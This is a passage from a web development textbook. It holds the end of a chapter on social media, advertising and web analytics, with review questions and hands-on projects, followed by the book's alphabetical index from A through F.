from Google use overlays to



display stats on your website.
Figure 24.28 Full Alternative Text

Dive Deeper

Hadoop
Site analytics and clickstream data can generate a huge amount of data. Large
websites such as Facebook and Google can accumulate petabytes (a million
GB) of data on a weekly basis. Even a much smaller scale website can
generate a lot of analytics data. Generally speaking, this type of data isn't
interactively accessed in an end-user facing website; instead, it is batch
processed behind-the-scenes in order to find trends, correlations, patterns,
and so on. The open-source Apache Hadoop project is one of the key ways
that this type of big-data analytics is performed.

Hadoop is a Java-based programming framework that enables the distributed
processing of very large data sets. It was designed to work with commodity
servers (that is, relatively standardized server hardware), so a Hadoop
installation could potentially scale up to thousands of servers if petabytes of
data needed to be processed.

It is composed of two main components: a specialized distributed file system
(the Hadoop Distributed File System or HDFS) to handle the storage of the
data across multiple servers and a processing algorithm called MapReduce.
This algorithm was originally published by Google and describes a
mechanism for storing and processing in parallel across multiple nodes (i.e.,
servers).

The advantage of distributing data and processing across multiple machines
is that you gain parallelism, that is, multiple machines can perform actions
simultaneously. For instance, to read 1 TB of data into a single machine



would take about 41 minutes (assuming a throughput of around 400 MB/sec).
But if that 1 TB was split across 10 machines so than each machine is only
storing 100 GB of data, then that 1 TB can be read in only around 4 minutes.

Figure 24.29 illustrates a simplified version of the Hadoop workflow. You
can see that there are two distinct phases: the feeding of data into Hadoop and
its distribution across multiple data nodes using the HDFS. The second phase
is the querying of the data, which makes use of the MapReduce algorithm.

Figure 24.29 Hadoop big data



processing
Figure 24.29 Full Alternative Text

While Hadoop seems to be the market leader in big data processing, newer
frameworks like Apache Spark have also been gaining adherents.



24.7 Chapter Summary
In this chapter you learned about the history of social networks and the
characteristics of successful social web portals. Techniques to easily add
social media integration to your sites were covered. Finally, monetization and
marketing strategies were covered, ending with a summary of web analytics,
bringing together in this final chapter the techniques and strategies to
promote and track your site once it's built.

With those final topics still in mind, you can now close the book on the
fundamentals of web development and move on to advanced techniques best
learned through hands-on practice.

24.7.1 Key Terms
Ad Action

Ad Click

Ad View

advertising networks

analytics

Average Visit Duration

Bounce Rate

Click-Through Rate

Cost per Action

Cost per Click



Cost per Mille

dynamic ads

Follow Google+

free registration

graphic ads

Hadoop

interstitial ad

Like button

metrics

newsfeeds

one-way contact

Open Graph

Open Graph meta tags

Open Graph objects

Page Views

QR codes

reciprocal contact

social networks

text ads

tracking pixels



Unique Page Views

web bugs

24.7.2 Review Questions
1. 1. What's the difference between one-way and reciprocal contacts?

2. 2. What key features do all social networks have?

3. 3. What is the easiest way to integrate social networks into your sites?

4. 4. What is XFBML, and where is it used?

5. 5. How do you integrate the Facebook Like button into your pages?

6. 6. Why would a company want to focus more on impressions rather than
on clicks?

7. 7. How do Cost per Click advertising agreements work?

8. 8. How can an email's From: header be forged?

9. 9. To whom are you allowed to send unsolicited emails?

10. 10. What characteristics should all email campaigns have?

11. 11. Describe how you could track the effectiveness of an email
marketing campaign.

12. 12. What are QR codes? How can QR codes be used to measure
campaign effectiveness?

13. 13. How does third party analytic packages get their data compared to
internal packages?

14. 14. How can knowing the percentage of visitors leaving a page help you



improve retention?

15. 15. What are 5 things you can learn from analytics about your site?

24.7.3 Hands-On Practice
The ideal set of hands-on exercises would require you to get dirty in the
world of social media and advertising. Ideally you should have your own
project of some sort hosted at your own domain, which you can use in place
of our three example projects. It would be far better to be using your own
real-world projects by now, since these types of exercise have far more value
for a real site.

Project 1: Set Up a Social Media
Presence

Difficulty Level: Easy

Overview
To get started in social media, you have to sign up for accounts, create and
customize pages, and then link your website to your social media pages.

Hands-on Exercises
Project 24.1



Instructions
1. Visit Facebook, Twitter, and Google and sign up for accounts, if you

don't already have them. Note: To get an account, you should read and
agree to the terms of service.

2. Create pages for the Facebook and Google+ social networks. Set these
pages up with some images and text that describe your site.

3. Like, favorite, and share your existing website with your social network
profiles.

4. Add links to the newly created social networks using the URL of the
page or Twitter account. You might consider using the social network
icons.

5. Add a comment or post to your page, and swear to return at least once a
week to make another.

Test
1. Visit your home page and test that all three links connect to the pages

you created.

2. Grow your network to 100, then 1000, and then a million (friends, likes,
followers, circles) if you can!

Project 2: Integrate with Social
Widgets

Difficulty Level: Intermediate



Overview
Using our Art Store as an example, we will integrate social media widgets
from the three social networks into each artwork detail page.

Hands-on Exercises
Project 24.2

Instructions
1. Open your Art Store project, and find the code that outputs the HTML

for the Art Store detail project.

2. Prepare for integrating the social widgets by identifying variables you
can use in your widgets. Consider the artwork title, link, artist, and price.
Add these elements to the page as Open Graph semantic tags.

3. Add the ability to Like a particular artwork, right next to its title. Hint:
Look at the social widgets. Hint: This will require the creation of an
appID.

4. Now next to that add the Google+ 1 widget.

5. Finally, add the Tweet This widget.

Test
1. In your browser, the updated art detail pages should look similar to that

in Figure 24.30 , with the social widgets located below the title of the
artwork.



2. Visit multiple artwork pages on the site, and like, +1 and tweet each of
them. Then visit your home feeds in each of the social networks to
confirm that your activity has been noted as a wall post.



Figure 24.30 Portion of the Art
Store with Facebook Like,
Google +1, and Tweet This
widgets

Figure 24.30 Full Alternative Text



Project 3: Book Rep Customer
Relations Management

Difficulty Level: Hard

Overview
Add an emailing capability to your CRM system, so that invoices can be
emailed to clients.

Hands-on Exercises
Project 24.3

Instructions
1. Continue using the CRM system you have been developing over the

course of the book.

2. Create a script named sendToClient.php that will define a mailer similar
to that created in Listing 24.14. It will mail the shipping manager on file,
who will then print the email and physically ship the book out. A copy
will go to the receiver, if an email address is on file.

Hint: When writing the script, send all email to your own account to
prevent email from sending to addresses that you do not own. Once it
works correctly, test with fields from the database.



3. This email script should use consistent branding with your website in the
HTML section of the email. Alternate headers and footers will need to
be created for the email.

4. To prevent abuse, the script must ensure the user is logged in.

5. Attach the “Send to Client” button on the invoice page to the
sendToClient.php script.

Test
1. Select a test user whose email address is one that you control and send

them an invoice.

2. The email should contain plain text and HTML so that the invoice
mirrors the HTML in the website as shown in Figure 24.31 .





Figure 24.31 Illustration of two
HTML emails sending in
response to a button click

Figure 24.31 Full Alternative Text

Project 4: Monetize Your Site

Difficulty Level: Hard

Overview
Finally, after 24 chapters, you will try to monetize a website using
advertisements. This exercise assumes you have a functioning, hosted
website since the ads require access to a live site to crawl and index their
content. You need a domain and real content in order to start charging people
to place ads on your site. Normally, advertisements cannot be used on school
or university servers, so make sure you have the permission of the domain
owner before proceeding.

Hands-on Exercises
Project 24.4

Instructions



1. Given your hosting and domain registration costs, determine your break-
even revenue amount, so you can later determine if your site is
profitable.

2. Sign up with one or more of the ad networks. One can often be set up to
deliver an ad in the event the first ad network cannot deliver.

3. Generate ads and JavaScript code for integration through the ad
network's web portal.

4. Weave ads into the framework for your sites. Hint: Create a module in
PHP (function/class) that you can use to output the ad code when
needed.

5. Ensure you adhere to policies about number of ads per page and ad
placement.

Test
1. Refresh the page and see either ads, or blank space (sometimes it takes

time to get ads while the network indexes your pages).

2. Wait one day and then log in to check the traffic and the balance on your
account.

3. After one month, compare the cost of the running the site with your
revenue for the month to determine if you are profitable.

4. Rest well, knowing your website is generating a tidy profit as you sleep.

5. Optionally, sell your profitable website to investors for millions of
dollars (left as a final exercise to the reader).
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AAAA records, 1047

AAC Audio, 243, 245

abort(), 473

Absolute position, ancestor container (relationship), 259f

Absolute positioning, 257–258

confusion, 257–258

example, 258f

problems, 278f

usage, 270f

Absolute reference, 91

Absolute units, 125

Abstraction layer, 646, 647

Accept-Encoding header, 58

Accept header, 58

Accessibility, improvement, 118

Accessible forms, 199–200

Accessible Rich Internet Applications (ARIA)

role, 200



Access modifier, protection, 610f

Accessors, 603

Actions, 1022

ActionScript, 241, 326

Active Directory, 17

Active Record, 960

Active Server Pages (ASP), 495

Actors, 1128

Ad Action, 1139

Ad Click, 1139

addEventListener(), usage, 410

addEventListener() function, 410

Additive colors, 214

address (parameter), 904, 906

Address resolution, 51–54

process, 51

Adobe Flash, 326

illustration, 326f

vector-based drawing/animation program, 241

AdSense network, 1138



Advertisements (advertising)

creation, 1138–1139

dynamic ads, 1138

graphic ads, 1137

interstitial ad, 1136–1137

networks, 1136

ad placements, 1139f

distribution, 1137f

real-time auctions, 1139f

text ads, 1137–1138

types, 1136–1138

Ad View, 1139

Aggregate functions, 634

usage, 636f

AJAX, 429–430

ajax() method, versions, 477

alert() method, 341, 409

align (HTML5 attribute), 178

All-in-memory access, 568

Alpha transparency, 218



always() method, 474, 475

Amsterdam Internet Exchange (AMS-IX), 26

Analogous color, 221f

Analytics, 1148–1155

flow analysis, 1152, 1152f

Google Analytics tool, 1151–1152, 1151f

in-page analytics, 1153, 1153f

internal, 1149

metrics, 1149

third-party, 1149–1153

Ancestors, 77, 136

position, absolute position (relationship), 259f

Anchor element, usage, 89

Anchor text, 1102

Angular, 934, 934f, 962–970. See also AngularJS

Angular 2, 962

AngularJS, 330, 963, 970

consuming web service in, 968–969c

controller, 965–966, 967f

simple application, 965, 965f



Single-Page Applications (SPA) by, 963, 964f

Angular.js client-side MVC framework, 65

animate function, using, 462, 463f

Animation, 237–238, 302–305

example, 303c, 304f

jQuery, usage, 459–465

fading, 459, 460f

raw animation, 461–465

shortcuts, 459–461

sliding, 460, 461f

toggle methods, 461

properties, 303t

vs. transitions, 302f

Anonymous functions, 357, 358c

Apache

configuration, 1049–1059

connection management, 1053–1054

daemons, 1051–1053

installation, 506–507

logging, 1070–1071



modules, PHP (relationship), 500f

PHP, relationship, 501–502

request and response management, 1059–1070

URL rewriting, 740–741

usage, 499f

web server, 65, 499–501

append() method, 454–455

APP_ID, usage, 1124

Apple OSX MAMP software stack, 65

Applet, 327

Application data caching, 761, 763–764

Application layer, 43–44

Application programming interface (API), 392, 646

Applications, server memory (relationship), 755f

Application servers, 17

Application stack, 65

Apps, 1128

archive.php, 1022

Archive-textbook.php file, 1020c

A records, 1047



arpa (domain), 49

ARPANET, 70

creation, 4–5

array_keys($someArray), 546

array_rand($someArray), 546

array_reverse($someArray), 546

Arrays, 348–352, 539–547

access, 539–541

access, PHP array (usage), 540

associative, 354

associative arrays, 540

creation, using object literal notation, 350c

defined, 350

defining, 539–541

$_FILES array, 561–568

$_SERVER array, 559–561

elements, accessing, 351c

elements, keys (assignation), 540f

example, 556–558

with indexes and values illustrated, 351f



iteration, 542–543

loops, usage, 543c

key-value array, visualization, 539f

multidimensional arrays, 541–542

operations, 546–547

sorting, 545–546

strings, usage, 541f

superglobal arrays, 547

values, 539

array_values($someArray), 546

array_walk($someArray), 546–547

Arrow functions, 363

Art database, examples, 669–670, 670f

Articles, 101–103

Artifacts, 232

JPEG, 232f

Artist class, 594c

encapsulation, improvement, 604c–605c

Artist color wheel, 220f

artistCount (static property), 600



Artist objects, instantiation, 595

Artwork

JPEG, relationship, 233f

resizing, 227f

<aside> element, 105

Asides, 105

ASP.NET, 17, 28, 67, 495–496, 753

market share, 497

Asset management, 988–989, 989f, 990f

Assignment, 337

conditional, 345, 346f

Associative arrays, 354, 540, 556

iteration, 543

Asynchronous file transmission, 478–483

Asynchronous JavaScript with XML (AJAX), 328–329, 440, 466–478

control, 477

development/programming, 328–329

post, headers (addition), 478c

raw AJAX method code, usage, 477c

synchronous JavaScript, difference, 467–468, 467f



UML sequence diagram, 466f

Asynchronous requests, making, 469–477

Asynchronous web poll, illustration, 470f

Attributes, 76

HTML, 449

selectors, 132–133

example, 132c, 133f

types, 133t

Attribute selector, 445

attr() method, 449

Audio, 241–247

formats, browser support, 245t

<audio> element, usage, 245f

Authentication, 899

servers, 17

Author class, 677

Author-created style sheet, 127

authorForm.php page, example, 682c–683c

Authoritative records, 1048

Author tags, 1008–1009



<autocomplete> attribute, 189

Autocomplete jQuery plugin, 917c

autofocus attribute, 189

AUTO_INCREMENT, 637–638

Automated email scripts, 1141–1143

Auto suggest text box, example, 916f

Average Visit Duration, 1149

AWStats, 1149, 1150f



B
Backbone, 330, 933, 934

Back-end web development, 28

Background, 145

position, 147f

properties, 146t

repeat, 147f

background (HTML5 attribute), 178

Background-color transitions, on a button, 299f

Backlinks, 1086

Balanced binary tree data structure, search, 641

Bandwidth, 4

measurement, 4

Base class, 608–609

members, referencing, 609–614

BEM (Block-Element-Modifier) naming convention, 309

example, 309f

using, 310c

Berners-Lee, Tim, 6, 7, 65



bgcolor (HTML5 attribute), 178

Big Data, 66

Binary JavaScript object (BSON), 953

Binary large object (BLOB)

data, storage, 684–685

display, 685–687

field, file contents (usage), 685c

image, fetching/echoing code (usage), 686c

usage, 685f

BIND (open-source tool), 1046

Binding, events, 451, 452f

Bing Map (Microsoft), usage, 906

Bing's webmaster tools, 1147f

Black-hat SEO, 1104–1110

content spamming, 1104–1106

link spam, 1106–1108

other spam techniques, 1108–1109

BLOB. See Binary large object

Block, 309

Block-Element-Modifier (BEM) naming convention, 309



Block elements, inline elements (combination), 255f

Block-level elements, 151, 253

example, 253f

Blueprint, 305

blur event, 423

responding to, 423f

<body> element, 138

Bootstrap classes, usage (examples), 306f

Bootstrap grid, usage, 308c

border-collapse property, 178

Borders, 146

properties, 148t

usage, 149f

bottom properties, 256

Bounce Rate, 1149

Boxed table, example, 180f

Boxes, 180–181. See also Tables

dimensions, 149–156

sizing, percents (usage), 154f

Box model, 144–156



background, 145

Branches, 575

Broadband modem (cable modem) (DSL modem), 22–23

Brown, Adam, 1021

Browser, 7

adoption, 119–120

artwork, resizing, 227f

attribute selector, example, 111f

audio support, 244–246

caching, 63, 64f

class selectors, example, 130f

debugging within, 406f

extension, 327

extensions, 64–65

features, 64

fetching a web page, 62–63, 62f

figure/figcaption elements, 104f

HTML5, validation, 719f

HTML5 document, 86f

IP address knowledge, 51



JavaScript performance evaluation, 407f

listing, result, 904f

plugin, 326, 334

rendering, 63

style sheets, 127

support, 243t, 245f

video support, 243

for visually impaired, 335f

bubbles property, 412

Build tools, 966

Built-in Bootstrap classes, usage (examples), 306f

Built-in function, 524

Built-in objects, 340

builtwith.com, 977

Bulletin board system (BBS), 1118–1119

Business analyst, 32

Button controls, 192

Button elements

example, 193f

types, 192t

http://builtwith.com


C
Cable modem (DSL modem) (broadband modem), 22–23

Cable modem termination system (CMTS), 24

Cache, 51

generated markup, 761

header, 58

Cache-Control header, 58, 761

CacheDefaultExpire, 1069

CacheEnable, 1069

CacheIgnoreCacheControl, 1069

CacheIgnoreHeaders, 1069

CacheIgnoreQueryString, 1069

CacheRoot, 1069

Caching

application data caching, 761, 763–764

page output caching, 761–763

example, 762f

server, 1068–1070

Caching, browser, 63, 64f



Cailliau, Robert, 6

CakePHP, 935, 960

calculateTax(), 360

calculateTotal(), 359–360

Callback, 471

function, 471–472

callback (parameter), 1131

Callback function, 361–362, 362f

Cancelable property, 412

Canonical Name (CName) records, 1048

CAPTCHA, 716

<caption> element, usage, 198

Caption-side CSS property, usage, 175

Cascades

inheritance, 138

location, 141–144

specificity, 138–141

style interaction, 138–144

Cascading Style Sheet (CSS), 70, 77

benefits, 118



box model, 145f

Caption-side CSS property, usage, 175

changing style, 450

CSS-based responsive design, 119f

definition, 118–120

equivalents, jQuery form selectors, 448t

external CSS style sheet, 83

files, 91

float property, 264

frameworks, 305–308

gradients example, 219f

grid systems, 305, 307

inspection, developer tools (usage), 156f

layout, approaches, 284–285

manipulating classes of element, 400f

media queries, 290–292

preprocessors, 311–314

usage, example, 312f

properties, 121

types, 121t–122t



Recommendations, 119

selectors, 121

styles

location, 125–127

stylings, 88f

syntax, 120–125

example, 120f

text styling, 156–164

TRBL (Trouble) shortcut, 151f

values, 122–125

versions, 118–119

Cascading Style Sheet version 3 (CSS3), 216, 218

animations, 302–305

filters, 296, 297f

modules, 119

perspective, 263f

transforms, 261–263, 262f

transitions, 298–301

Case-sensitive string, 652

Category tags, 1012



Collocated hosting, 1035–1036

advantage/disadvantage, 1035

cellpadding (HTML5 attribute), 178

Cells, headers (connection), 198c–199c

cellspacing (HTML5 attribute), 178

CERN, 6, 7

Certificate-signing request, questions and answers, 1057c

Change events, 424, 425f

Character entities, 95

types, 95t

Chat client (chat-client.html), 949, 951–952c

Chat in browser, 952f

Chat server (chat-server.js), 949, 950c

Checkboxes, 191

buttons, example, 192f

variables (array display), PHP code (usage), 553c

checkout command, 575–576

Choice controls, 190–192

Chrome JavaScript console, 342f

Circuit switching, 4, 5f



Classes

base class, 608–609

constants, 601–602

defining, 594–595

definition

constructors, addition, 596c

modification, static members (usage), 600c

derived class, 608

diagram, update, 598f

diagrams

examples, 606f, 611f

interfaces, indication, 619f

encapsulated class, usage, 607c

implementations, 611c–613c

members

accessibility, determination, 598–599

visibility, 599f

objects, relationship, 585f

subclass, 608

superclass, 608



UML objects, relationship, 586f

usage, 585

example, 613c–614c

classname.class.php, 594

Class selectors, 128, 444

example, 130c

Clear property

example, 266

usage, example, 268f

Click fraud, 1138

Clickstream data, 953

Click-through Rate (CTR), 1140

Client, 15

scripts, comparison, 493

Client script execution, comparison, 494f

Client-server model, 14–21

Client-side JavaScript script, downloading/execution, 325f

Client-side numeric validation, 194

Client-side scripting, 324–325

advantages, 324



disadvantages, 324–325

Cloaking, 1109

clone command, 577

Closure, 368–370

Cloud9, 110f

Cloud-based environments, 109, 110f

Cloud hosting, 1036

Cloud virtualization, 1041–1043

CMS. See Content management system

Code completion, 589, 590f

Code editors, 108, 109f

Code formatting, 589

CodePen, 111f

Code playgrounds, 109, 111, 111f

Code templates, 590, 591f

<col> elements, usage, 175

<colgroup> elements, usage, 175

Color, 195

additive colors, 214

artist color wheel, 220f



CMYK, 215–216

depth, 222

gamut, example, 216, 217f

gradient, 218–220

HSL, 216–218

input control, 195f

interpolating, 225f

models, 214–222

online color scheme tools, 223f

opacity, 218

palette, 235f

relationships, 220–222

explanation, 221f

RGB, 214–215

subtractive colors, 215

transparency, 236

values, 123t

web-safe color palette, 235

Column Drop pattern, 295

Columns



creation

flexbox, usage, 279–283, 280f

floats, usage, 274–277

positioning, usage, 277–279

spanning, 173

example, 174f

Column stores, NoSQL, 645

Combinators, 136

Comma-delimited file, processing, 570c–571c

Command line

running PHP from, 505–506, 505f

Command-line installation, 993

Command-line interface, 647–649

Comment, 510–511

end-of-line comments, 511

multiline comments (block comments), 510–511

single-line comments, 510

social widget, 1127c

stream, 1127

Comment spam, 1106–1107



Comment tags, 1009

commit command, 574

Commodity servers, 954

Common Gateway Interface (CGI), 496

Companies, web development, 33–35, 34f

Comparator operations, 346t

Compile time, 616

Complementary color, 221f

Composite key, 630

Compression

lossless compression, 233

lossy compression, 232

LZW compression, 233

run-length compression, 233

Compression/decompression (codec), 241

Computer, local provider (relationship), 22–24

Concatenation, 515–516

approaches, 515c

examples, 515c

Conditional assignment, 345, 346f



Conditionals, 343–347

comparator operators, 346t

conditional assignment operator, 345, 346f

falsy, 346–347

legal, 344

truthy, 346–347

Conditional statement

if … else, usage, 518c

switch statement, 345c, 519c

variable setting, 344c

config.inc.php file, excerpt, 650c

config.php (file), usage, 653

Connection

algorithm, 652f

closing, 660–661

example, 660c

constants, usage, 654c

details

defining, 653c

storage, 653–654



header, 58

management, 1053–1055

string, 652

console.log () method, 341, 342f

Constants, 511–513

Constructed form, objects, 354–356

Constructors, 595–596

addition, example, 596c

parent constructors, 615

Contacts

management, 1121

one-way contact, 1121

reciprocal contact, 1121

Container, 1040–1041

floating, impact, 265–266

formats, 242

Containing block, 265–266

floating, 265f

Content creators, 985

Content delivery network (CDN), 441, 442c



Content-Encoding, 59

Content-Length, 59

Content Management System (CMS), 976. See also WordPress

asset management, 988–989, 989f, 990f

components of, 979–992

content creators, 985

content publishers, 985

ease of use, 978

factors in selection of, 978–979

menu control, 983

page management, 979–980

post management, 979–980

search, 989–990

site manager, 985

super administrator, 986

system support, 978

technical requirements, 978

template management, 982–983, 982f

types of, 977–979, 978t

upgrades and updates, 990–992, 991f



user management, 983–984

user roles, 984–986, 984f

workflow and version control, 986–987, 988f

WYSIWYG editors, 981, 981f, 982f

Content publishers, 985

Content spamming, 1104–1106

Content strategists/marketing technologist, 31–32

Content-Type header, 59, 913, 914

Context-dependent output, provision, 561c

Context switching, 939

Contextual selectors, 136–137, 446

action, 137f

types, 136t

Control structures, alternate syntax, 521

example, 521c

Cookies, 741–745

example, 743f

function, 742–743

HttpOnly cookie, browser support, 744

limitation, 742–743



persistent cookie, 742

persistent cookie, best practices, 744–745

reading, 745c

session cookie, 742

usages, 744

user preferences, storage, 745

value, 555

writing, 744c

Cost per Action (CPA), 1139

relationship, 1140

Cost per Click (CPC), 1139

strategy, 1140

Cost per Mille (CPM), 1139

meaning, 1140

Country code top-level domain (ccTLD), 48–49

createElement() method, 453

CRM database, example, 670–671

Cross-origin resource sharing (CORS), 477–478

Cross-site scripting (XSS), 1138

CRUD functionality, 949



Custom errors, 704–705

Custom exception handler, 704–705, 705c

Custom page template, 1010–1011c

Custom post type, 1000

creation of, 1013–1020

displaying post type, 1017–1019

organization, 1013–1014

post-specific fields, adding, 1015–1016, 1016c

post types, registering, 1014–1015, 1014–1015c

saving changes, 1016–1017, 1017c

under the hood, 1017

Cyan-Magenta-Yellow-Key (CMYK), 215–216

color model, 216f



D
Daemons, 499, 500, 1051–1053

configuration changes, applying, 1053

managing, 1051–1052

run levels, 1052

Dart, 962

Data

center, 19

examples, 21f, 27f

content, separation, 626f

definition statements, 641

duplication, 628

encapsulation, 602–607

flow, 549f

integrity, 628

members, 585

sending, determination, 549–552

storage, 493–494

types, 511–513



user data, integration, 661–662

Data architect, 30

Database, 625

APIs, 646–647

selection, 646–647

BLOBs, display, 685–687

connection, 651–654

algorithm, 652f

mysqli, usage, 652c

PDO, usage, 653c

design, 625–632

efficiency, 641–642

example, 669–670

file content, storage, 684

file location, storage, 684f

indexes, 641–642

visualization, 642f

NoSQL database, 632, 642–645

options, 631–632

raw files, saving/displaying, 683–687



role, 625

schema, examples, 670f

servers, 17

software, 67

table

data types, 628t

example, 627f

techniques, 671–687

term, usage, 493–494

usage, 631f

website usage, 627f

Database administrator (DBA), 30

Database engine, 1079

Database Management System (DBMS), 17, 66, 493

MySQL, 625

Database sharding, 956, 956f

Data compression, 1055–1056

Data Definition Language (DDL), 641

<datalist> element, usage, 190f

Data Manipulation Language, 641



Data replication and synchronization, 954–956

failover clustering on master, 955, 955f

multiple master replication, 956, 956f

problem of, 954

sharding, 956, 956f

single master replication, 955, 955f

dataType, 472

Date control, 195–196

example, 197f

HTML5 example, 196t

DateTime class, 605

DB2 (IBM), 625

DBA (database administrator), 30

Declaration, 120

block, 120

Dedicated hosting, 1034–1035

disadvantage, 1035

Dedicated server facility, illustration, 1034f

define() function, 513

Degrees of separation, 1117f



DELETE statement, 636

example, 637f

Derived class, 608

Descendants, 77, 136

selection, syntax, 136f

selector, 136–137

Description lists, 96

Deserialization, example, 746f

Design companies, 33

Desktop applications

objects, lifetime, 588f

web applications

comparison, 8–9

differences, 736f

Desktop objects, servers (differences), 587–588

Details and summary, 105, 106f

Developer, 30

Development and operations (DevOps), 33

Device-independent pixels, 230

Device pixels, 230



DevOps (development and operations), 33

Dictionaries, comparison, 1091

dig (command), annotated usage, 1046

Digital networking, 1118–1119

Digital subscriber line access multiplexer (DSLAM), 24

Digital Subscriber Line (DSL) modem (broadband modem) (cable
modem), 22–23

Directives, 1051

Directory, 91

requests, handling, 1061–1062

web, 1077

DirectoryIndex directive, 1062

Directory-level configuration files, 1051

directory listings, 1062

DIRT (data-intensive real-time) applications), 942

Disk cache, 1068

Display

hover, usage, 273f

resolution, 228–229

impact, 229f

visibility, comparison, 272f



display_error setting, 699

Display property, usage, 271f

Distributed transaction processing (DTP), 640

example, 640f

Distributed transactions, 638, 639–640

Dithering, 222, 224f

<div>-based XHTML layout, 98f

<div> container, 284

<div> elements, usage, 90f, 444

DMSs. See Document Management Systems

Docker project, 1040–1041

Doctrine, 960

Document Management Systems (DMSs), 976

Document object, DOM, 393–394

Document Object Model (DOM), 77, 127, 342, 392–399

defined, 392

document object, 393–394

element, 449–450

Element Node object, 397–398, 398t

extension, 885



family relations, 402f, 403–404

manipulation, 453–458

HTML listing, 456c

methods, 403t

modification, 399–407

dynamic creation, 405c

element's content, 401–402

elements creation, 402–405

element's style, 399–401

visualizing, 404f

in new tags, 456–457

NodeLists, 393

nodes, 393, 393f

creating, 453–454

object properties, 394t

selection methods, 394–397, 395t

timing, 405

tree, 392f

working with (example), 418–420

Document Root, 392



DOCUMENT_ROOT, usage, 560

Documents, outlines, 84–85, 128f

example, 87f

Documents, tree, 128f

Document's ready event, using, 452c

Document stores, NoSQL, 643–644

Document Type Definition (DOCTYPE), 82

Document type definition (DTD), 875–876

drawback, 876

example, 876c

document.write () method, 341–342, 343f

$_FILES array, 561–568

$_FILES superglobal array, 683

$() function, 443

$.get() method, 477

$_GET superglobal arrays, 548–558

$.post() method, 477

$_POST superglobal arrays, 548–558

$_SERVER array, 559–561

relationship, 559f



DOM. See Document Object Model

Domain names, 44, 46

address resolution process, 52f

levels, 47–49

registrars, 49–50

registration, 49–51, 1044–1045

process, 50f

resolution process, 1043f

Domain Name System (DNS), 44, 46–54, 1043

overview, 46f

record types, 1047–1049

reverse DNS

lookups, 49

reverse DNs, 1049

server, 51–52

zone file, 1047

Domains, 55. See also Uniform Resource Locator

administration, 1043–1049

levels, 48f

subdomains, 49



done() method, 474

Doorway pages, 1106

DotNetNuke, 978t

Dot notation, 340

do-while loop, 347, 543c

Drupal, 978t

Duplicate content, 1109

Dynamic ads, 1138

Dynamically typed variables, 336, 511

Dynamic dispatching, 616

Dynamic websites, 11

example, 12f

vs. static websites, 10–11



E
EaselJS, 246

Easing functions, 463–465, 464f

echo() function, 514

ECMAScript, 328

Ecosystem, 2. See also Web development ecosystem

Editor, HTML, 107. See also specific types

Effects, jQuery (usage), 461–465

shortcuts, 459–461

Eight-bit color, 233, 235–236, 238

Eit distance, 1090

Elastic capacity/computing, 1042

Element Inspector (Google), 90

Element Node object, 397–398, 398t

Elements, 76, 309

addition, 544–545

attributes, presence, 873

box, 144

default rendering, 96f



deletion, 544–545

example, 545f

DOM, 449–450

addition, 454–455, 455f

changing content, 401–402

changing style, 399–401

creation, 402–405

empty element, 76

floating, example, 264f

floating elements, 264–270

hiding, 270–273

nesting, 873

overlaying, 270–273

positioning elements, 256–263

pseudo-element selector, 134–136

spacing/differentiation, provision, 149f

tables, usage, 175

true size, calculation, 152f

vertical elements, contact, 148

W3C definition, 143



Element selectors, 128, 444

Email

automated email scripts, 1141–1143

campaigns, tracking, 1144

example, annotation, 1144f

marketing, 1141–1145

multipart email message (encoding/emailing), PHP function
(usage), 1142c–1143c

scheduled mail campaigns, 1144–1145

social networks, example, 1118f

Email scrapers, 1084

Embedded JavaScript, 331–332

example, 331c

Embedded styles

example, 126c

sheet, 126

Ember, 330, 934, 934f

Em percentage, 159

Employment possibilities, in web development, 28–36

empty(), 697f

Empty element, 76



Empty field validation, 424–427

script, 426c

Em units, 159

calculation, complications, 160f

Encapsulated class, usage, 607c

Encapsulation, improvement, 604c–605c

Encryption, 1056–1058

End-of-line comments, 511

Enlargement, vs. reduction, 226f

Enterprise, databases, usage, 631f

EntityFramework, 960

Entity relationship diagram (ERD), 650

Equinix Ashburn IX, 26

error (integer), 563

error_reporting setting, 699

constants, 699t

Errors

checking, 564–565

custom, 704–705

definition, 696–698



expected error, 696–697

fatal errors, 696, 698

handling, 654–655

mysqli, usage, 654c

PDO, usage, 655c

handling, in PHP

custom error and exception handlers, 704–705

object-oriented approach, 701–704

procedural approach, 701

location, 713f

messages, display, 713f

reporting, in PHP, 698–700

display_error setting, 699

error_reporting setting, 699

log_errors setting, 700

textual hints, 714f

try/catch, usage, 349

types of, 696–698

validation, reduction of, 713–716

warnings, 696, 698



ES6, 328

ES2015, 328, 366

Event approach, 882

Event bubbling, 414

Event delegation, 413–414

Event handler, 408

Event object, 411–413

parameter, 411c

properties and methods, 412t

Event propagation, 414

visualizing, 414f

Events

binding and unbinding, 451, 452f

defined, 408

document's ready, 452c

form events, 417, 417t, 423–424

frame events, 421, 421t

JavaScript, 408–414

jQuery, 450–453

keyboard events, 415–416, 415t



mouse events, 415, 415t

page loading, 452–453

touch events, 416

types, 415–421

working with (example), 418–420

Event type, 412

example.html page, 418–420

Exceptions, 698

object-oriented handling, 701–704

rethrowing, 703, 703c

throwing, 349, 702, 703c

EXIF data, embedding, 918

Expected error, 696–697

Expires (header), 761

Express, 935

ExpressionsEngine, 978t

Express.js application framework, 65

extended-example.php, 556–558

Extensible data injection, jQuery (usage), 884c

Extensible hypertext markup language (XHTML), 72–74



validation service, 74f

Extensible Hypertext Markup Language version 1.0 (XHTML 1.0), 72

Transitional, 72

Extensible Hypertext Markup Language version 2.0 (XHTML 2.0),
73–74

Extensible Markup Language (XML), 72, 873

data, JSON representation, 890c

declaration, 874

defining, 72–73

document

jQuery, usage, 884c

loading/processing, JavaScript (usage), 882c–883c

sample, 875c

element names, hyphen character (presence), 886–887

manipulation, JavaScript (usage), 883

parser, 885

processing, 882–888

usage, 882–885

valid XML, 875–877

web service

consumption, 900–903



creation, 911–915

well-formed XML, 873–875

workflow, 878f

Extensible Markup Language Stylesheet Transformation (XSLT),
877–880

document, example, 879c

result, 880f

usage, 879f

Extension layer, 502

Extensions, browser, 64–65

External CSS style sheet, 83

External JavaScript, 332

example, 332c

External monitoring, 1072

External style sheet, 126–127

referencing, 126c

External web services, JavaScript (interaction), 911

Extract method, 592



F
Fabric.js, 246

Facebook (FB)

FBML, usage, 1126

Follow, 1131

integrated Facebook web game, illustration, 1135f

Like plugin, XFBML (usage), 1126c

Like social plugin, screenshot, 1126f

newsfeed

generation, 1127f

items, plugins (relationship), 1124f

object, creation, 1125

Open Graph Debugger, 1129f

pages, screenshots, 1122f

register, 1124

social plugins, 1123–1128

users, 1120

Facebook Markup Language (XFBML), 1123

version, 1126–1127



Fading, animation, 459, 460f

fail() method, 474

Failover clustering on master, 955, 955f

Failover redundancy, 18

